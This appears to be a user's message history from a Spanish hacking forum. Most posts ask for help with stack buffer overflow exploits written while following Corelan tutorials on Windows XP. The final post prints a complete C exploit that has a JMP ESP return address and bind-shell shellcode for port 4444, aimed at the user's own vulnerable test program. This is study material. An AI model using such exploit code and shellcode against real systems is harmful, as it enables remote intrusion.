Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Lodos76

#21
Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
__________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda :).
#22
Bugs y Exploits / Re: Error buscando POP RET
15 Marzo 2014, 14:44 PM
Cita de: .:UND3R:. en 15 Marzo 2014, 00:00 AM
Lo hice hace un año atrás creo
http://foro.elhacker.net/buscador-t394411.0.html

Vaya, qué buena pinta tiene eso :P

Según he podido googlear hay que compilar el plugin con MVC++, pero tu código no se corresponde con ningún lenguaje que conozca. ¿Qué hay que hacer?
#23
Bugs y Exploits / Re: Error buscando POP RET
14 Marzo 2014, 23:16 PM
Cita de: .:UND3R:. en 14 Marzo 2014, 15:06 PM
Puedes usar mona.py un PyCommands de Immunity debugger, byakugan plugin de WinDbg o el mismo OllyDbg, clic derecho "search for secuence of commands" y pones

POP r32
POP r32
RETN

Para seguir buscando por más módulos, los vas seleccionando y luego tecleas Ctrl+L para realizar la misma búsqueda, saludos.

Muchas gracias:).

Con "módulos" te refieres a "DLLs", ¿no?
Para verlos he puesto buscar por all modules, y puesto cualquier dirección con la DLL que quería y he clickado en "search for secuence of commands". Algo manual...
No habrá alguna tool que lo haga automáticamente y te lo imprima, ¿no? xD.

Salu2
#24
Bugs y Exploits / Error buscando POP RET
13 Marzo 2014, 23:56 PM
Buenas a todos :).


Verán, estaba leyendo el PDF de creación de exploits 2 de Corelan cuando me veo esto:

CitarPrimero que todo, necesitamos saber el Opcode para el POP POP RET.
Usaremos la función de ensamblado en Windbg para conseguir los Opcodes.

0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3

Así que los Opcodes del POP POP RET son: 0×58, 0x5d, 0xc3.


Pues nada, lo intento y esto es lo que me sale:
Citar0:010> a
7c90120e ; Sólo sale esto, así que escribo "pop eax"
pop eax
7c90120e pop eax
pop eax
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe


¿Y eso? No consigo encontrar un pop pop sin esto...
He buscado por un sólo pop porque si con dos pop ya no lo encuentro, con uno menos...

He probado a usar en Immunity Debugger
!safeseh ; Busca DLLs compiladas sin safeseh
!search pop r32 ; Buscar POP a un registro de 32 bits
pero sólo me salen POPs de user32.dll


Gracias de antemano.
#25
Bugs y Exploits / Re: Problema con un BoF
13 Marzo 2014, 23:24 PM
Cita de: dantemc en 13 Marzo 2014, 15:54 PM
¿intentaste con un egghunter?

Aún no he llegado a ese PDF  ;D
#26
.NET (C#, VB.NET, ASP) / Re: ¿cifrar?
11 Marzo 2014, 00:41 AM
Ese cifrado es muy fácil de romper... y más con lenguajes que se ejecutan en el cliente (si el atacante ve el código fuente, es más fácil aún).

Te recomiendo un libro sobre criptografía clásica-actual:
http://0xword.com/es/libros/36-libro-cifrado-comunicaciones-rsa.html
#27
Instálate Python 3.x...

Yo he tenido que traducir scripts de 2.x a 3.x, y la verdad es que es una tontería aprender algo que tiene una versión actualizada. Es como si yo ahora aprenderiera el primer lenguaje Java que salió...
#28
Cita de: topomanuel en 10 Marzo 2014, 22:51 PM
Amigo... te puedo decir que eso de que un día estas deprimido y al otro no, es algo sumamente peligroso y si es causa de suicidio para mucha gente con ese padecimiento... se puede decir que el 70% de los suicidas es por causa de la depresión...

Entonces, tu padeces lo que antes se llamaba "Síndrome Maníaco-Depresivo" y que ahora, por habersele diagnosticado a personas famosas y ser mas común de lo que se creía, se le llama glamorosamente: "Síndrome Bipolar"...

La característica principal de ese síndrome, es la alternancia de estados depresivos donde solo hay pensamientos negros y no se tiene ganas de hacer nada (ni siquiera de seguir viviendo), con los estados de manía donde se cree la persona capaz de hacer cualquier cosa, y con frecuencia se desarrollan en ese estado maravillosos aspectos artísticos e intelectuales...

Lo mejor es ir al Psiquiatra... yo lo hice hace mas de 20 años, y desde entonces vivo mi vida feliz y sin depresiones gracias a mi píldora diaria de Prozac... el caso es que esa bendita condición se produce por un mal funcionamiento del cerebro, donde se producen los recaptadores de la Serotonina (entre otros biotransmisores) que son los causantes de nuestros estados de felicidad... el medicamento entonces evita la recaptación de los biotransmisores y nuestra felicidad no se ve truncada por la falta de serotonina ni dopamina ni nada de eso...

Saludos.


¿Bipolar? Eso no tiene por qué ser así.
Sé de un tipo que tenía depresión que a veces salía y estaba más o menos bien, y a los 2 días de estar en casa estaba pocho.
#29
Bugs y Exploits / Re: Problema con un BoF
11 Marzo 2014, 00:23 AM
Cita de: MCKSys Argentina en 10 Marzo 2014, 22:18 PM
Por lo que veo, te haz quedado sin stack (230000 parece estar en la pagina de memoria siguiente).

Esta el shellcode entero?

Para verlo, pon una cookie al final.

Saludos!

Así que no podía explotarlo porque mi exploit intentaba meter datos en una zona de la pila que no existía...
He probado con una shellcode muy muy pequeñita que acabo de hacer y ha funcionado el exploit.

¡Muchas Gracias!
#30
Bugs y Exploits / Problema con un BoF
10 Marzo 2014, 00:49 AM
Buenos días ;).

Estaba haciendo un exploit de PruebaDeStack y no consigo que se ejecute bien la shellcode, pero el registro ESP apunta a ella.

Después del EIP (el JMP ESP) he puesto un breakpoint para poder hacer la screenshot y algunos NOPs para que se aprecie bien, e inmediatamente después está la shellcode. El problema es que no se abre una shell (es decir, no se ejecuta bien la shellcode).

Espero que puedan echarme una mano.
Muchas gracias.





PruebaDeStack
#include <string.h>

void hacer_algo(char *Buffer)
{
 char MyVar[128];
 strcpy(MyVar, Buffer);
}

int main(int argc, char **argv[])
{
 hacer_algo(argv[1]);
}




Exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv)
{
   char evilbuffer[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // Basura hasta llegar al EIP
"\x7B\x46\x86\x7C" // EIP --> 0x7C86467B      jmp esp
"\xCC\x90\x90\x90\x90\x90\x90\x90" // Breakpoint + NOPs
"\xbe\x6d\xa5\x2b\x67\xd9\xcf\xd9\x74\x24\xf4\x5f\x31\xc9" // Aqui empieza la shellcode shell_bind_tcp (puerto 4444)
"\xb1\x56\x31\x77\x13\x83\xef\xfc\x03\x77\x62\x47\xde\x9b"
"\x94\x0e\x21\x64\x64\x71\xab\x81\x55\xa3\xcf\xc2\xc7\x73"
"\x9b\x87\xeb\xf8\xc9\x33\x78\x8c\xc5\x34\xc9\x3b\x30\x7a"
"\xca\x8d\xfc\xd0\x08\x8f\x80\x2a\x5c\x6f\xb8\xe4\x91\x6e"
"\xfd\x19\x59\x22\x56\x55\xcb\xd3\xd3\x2b\xd7\xd2\x33\x20"
"\x67\xad\x36\xf7\x13\x07\x38\x28\x8b\x1c\x72\xd0\xa0\x7b"
"\xa3\xe1\x65\x98\x9f\xa8\x02\x6b\x6b\x2b\xc2\xa5\x94\x1d"
"\x2a\x69\xab\x91\xa7\x73\xeb\x16\x57\x06\x07\x65\xea\x11"
"\xdc\x17\x30\x97\xc1\xb0\xb3\x0f\x22\x40\x10\xc9\xa1\x4e"
"\xdd\x9d\xee\x52\xe0\x72\x85\x6f\x69\x75\x4a\xe6\x29\x52"
"\x4e\xa2\xea\xfb\xd7\x0e\x5d\x03\x07\xf6\x02\xa1\x43\x15"
"\x57\xd3\x09\x72\x94\xee\xb1\x82\xb2\x79\xc1\xb0\x1d\xd2"
"\x4d\xf9\xd6\xfc\x8a\xfe\xcd\xb9\x05\x01\xed\xb9\x0c\xc6"
"\xb9\xe9\x26\xef\xc1\x61\xb7\x10\x14\x25\xe7\xbe\xc6\x86"
"\x57\x7f\xb6\x6e\xb2\x70\xe9\x8f\xbd\x5a\x9c\x97\x73\xbe"
"\xcd\x7f\x76\x40\xe0\x23\xff\xa6\x68\xcc\xa9\x71\x04\x2e"
"\x8e\x49\xb3\x51\xe4\xe5\x6c\xc6\xb0\xe3\xaa\xe9\x40\x26"
"\x99\x46\xe8\xa1\x69\x85\x2d\xd3\x6e\x80\x05\x9a\x57\x43"
"\xdf\xf2\x1a\xf5\xe0\xde\xcc\x96\x73\x85\x0c\xd0\x6f\x12"
"\x5b\xb5\x5e\x6b\x09\x2b\xf8\xc5\x2f\xb6\x9c\x2e\xeb\x6d"
"\x5d\xb0\xf2\xe0\xd9\x96\xe4\x3c\xe1\x92\x50\x91\xb4\x4c"
"\x0e\x57\x6f\x3f\xf8\x01\xdc\xe9\x6c\xd7\x2e\x2a\xea\xd8"
"\x7a\xdc\x12\x68\xd3\x99\x2d\x45\xb3\x2d\x56\xbb\x23\xd1"
"\x8d\x7f\x53\x98\x8f\xd6\xfc\x45\x5a\x6b\x61\x76\xb1\xa8"
"\x9c\xf5\x33\x51\x5b\xe5\x36\x54\x27\xa1\xab\x24\x38\x44"
"\xcb\x9b\x39\x4d";
   argv[0] = "Exploit.exe";
   argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
   argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

   execv("PruebaDeStack.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

     return 0;
}



Una screenshot nada más le doy a "Debug" al ejecutar el exploit:
http://www.subeimagenes.com/img/before-871596.png

Una screenshot después de darle a RUN (F9) a la imagen anterior:
http://www.subeimagenes.com/img/after-871598.png